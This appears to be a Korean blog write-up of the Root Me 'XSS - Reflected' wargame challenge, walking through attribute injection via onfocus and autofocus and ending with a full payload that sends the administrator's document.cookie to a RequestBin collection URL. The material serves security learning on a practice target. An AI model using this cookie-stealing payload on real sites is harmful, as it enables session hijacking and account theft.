워게임/Root Me

[Root Me] XSS - Reflected - 웹해킹 / 크로스사이트스크립트

SecurityMan 2022. 11. 25. 11:00

 

Root Me 에서 제공하는 세번째 XSS 문제

(첫번째 문제 : https://hackingstudypad.tistory.com/48)

(두번째 문제 : https://hackingstudypad.tistory.com/297)

 

지난 문제들 풀이를 보고오면 조금 더 이해하기 쉽다.

 

이번엔 Stored 가 아니라 Reflected XSS에 관한 문제인데,

 

둘의 차이는 공격 페이로드가 게시글, 댓글과 같은 형태로 DB에 저장되는지,

 

URL 등을 통해 전달되어 DB에 저장되지 않는지를 보고 구분한다.

 

반응형

 

문제설명을 읽어보면

 

문제의 목표는 administrator 의 cookie 값을 훔치는 것이다.

 

admin 은 보안에 굉장히 민감해서 수상한 링크는 클릭하지 않을것이라고 경고하고 있다.

 

그럼 그냥 클릭하지 않아도 강제로 스크립트가 실행되게끔 하면 된다.

 

 

문제 페이지에 접속하면 이런 화면이 나온다.

 

북유럽 신회의 신들과 관련된 웹페이지 인듯 하다.

 

아래쪽에는 ODIN, THOR와 같은 신들의 이름이 나열되어있다.

 

 

각 신들의 이름을 눌러보면 이런 화면이 나온다.

 

URL 이 /?p=price#odin 이런식으로 바뀌고, 그 외에 별다른 기능은 없다.

 

 

URL에 /?p=test 라고 시험삼아 입력해봤는데

 

404 Not Found 에러페이지가 나왔다.

 

중간에 p 파라미터에 인수로 줬던 test 가 같이 나오는 것을 확인했다.

 

여기를 이용해서 XSS 공격이 가능할 듯 하다.

 

맨 아래쪽에 있는 REPORT TO THE ADMINISTRATOR 버튼을 누르면

 

관리자가 해당 페이지를 접근하게 된다.

 

적절한 페이로드를 찾은 후, 해당 버튼을 눌러주면 된다.

 

 

F12를 눌러 개발자도구를 이용해 해당 부분의 HTML 코드를 살펴봤다.

 

<a href="?p=test">test</a> 라고 되어있다.

 

 

URL에 /?p=test' 처럼 작은따옴표를 뒤에 붙혀서 입력을 해봤다.

 

그랬더니 <a href="?p=test" '>test'</a> 형태로 HTML이 바뀐것을 볼 수 있었다.

 

href 에 들어가는 값과 a 태그의 속성을 작은따옴표를 입력함으로써 바꿀 수 있을것 같았다.

 

 

이번엔 URL 에 /?p=test' onfocus=alert(1) 과 같은 형태로 입력해줬다.

 

그랬더니 a 태그안에 정상적으로 onfocus 속성이 설정되는것을 확인했다.

 

그러나 alert(1) 스크립트는 실행되지 않았는데, 뒤쪽에 아직 남아있는 작은따옴표 때문인듯 했다.

 

 

/?p=test' onfocus=alert(1) autofocus=' 라고 입력해서 마지막에 남아있던 작은따옴표를 없애주니

 

자동으로 alert(1) 가 실행되어서 알림창이 떴다.

 

이제 alert(1)을 쿠키값을 훔치는 페이로드로 바꿔주면 된다.

 

 

RequestBin(https://requestbin.net/)으로 가서 요청을 받아줄 주소를 하나 생성한다.

 

아까 404 Not Found 페이지에서 맨 아래있던 버튼을 누르면

 

?p=report&url=버튼을 누를 당시 URL

 

이런식으로 관리자에게 데이터를 전달한다.

 

URL 인코딩 때문에 그냥 버튼을 누르면 제대로 전달이 안되는 경우가 있어

 

직접적으로 주소창에 URL을 입력해서 관리자에게 전달을 했다.

 

?p=report&url=http://challenge01.root-me.org/web-client/ch26/?p='onfocus=document.location.href=`http://10hwtm9hcxmduwtl.b.requestbin.net/?c=`%2bdocument.cookie%20autofocus='

 

공격 페이로드는 위와 같다.

 

documnet.location.href 로 requestbin 주소를 지정해주고

 

+document.cookie 로 쿠키값을 가져가도록 설정했다.

 

마지막은 위에서와 같이 autofocus=' 를 추가해서 마무리 해 주었다.

 

 

requestbin 페이지로 가서 잠시 기다리면

 

탈취한 관리자의 쿠키값에서 플래그를 확인할 수 있다.

반응형